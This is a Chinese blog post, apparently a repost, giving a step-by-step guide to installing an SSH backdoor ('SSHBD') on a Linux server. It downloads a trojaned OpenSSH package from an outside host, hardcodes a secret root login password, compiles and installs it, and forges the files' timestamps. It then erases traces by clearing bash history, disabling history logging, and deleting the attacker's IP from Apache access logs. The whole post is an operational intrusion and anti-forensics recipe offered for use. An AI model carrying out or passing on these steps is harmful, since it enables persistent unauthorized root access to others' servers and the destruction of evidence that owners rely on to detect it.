LINUX 安装SSHBD后门

本文介绍了一种植入SSH后门的方法,包括备份原文件、下载并安装SSH后门、设置登录密码、编译安装等步骤,并提供了清除操作日志及Apache日志的方法。

老牌的SSH后门了,功能稳定

备份原文件:
1、mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
2、mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
3、下载并安装ssh后门:
shell-# wget http://www.down.com/sshbd.tgz
shell-# tar zxvf sshbd.tgz
shell-# cd openssh

4、设置ssh后门的登录密码:
vi versio.h
#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2

vi includes.h
define _SECRET_PASSWD "123456" -> 后门连接密码

5、编译安装:
shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh
shell-# make && make install
shell-# cp ssh_config sshd_config /etc/ssh/

修改文件时间:
touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config

重启服务
shell-# /etc/init.d/sshd restart

6、登入后门:
ssh -l root IP
password:123456
echo >/root/.bash_history //清空操作日志



7、清除apache日志:
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i '/IP/d' access_log*

转载于:https://www.cnblogs.com/mujj/articles/2264117.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值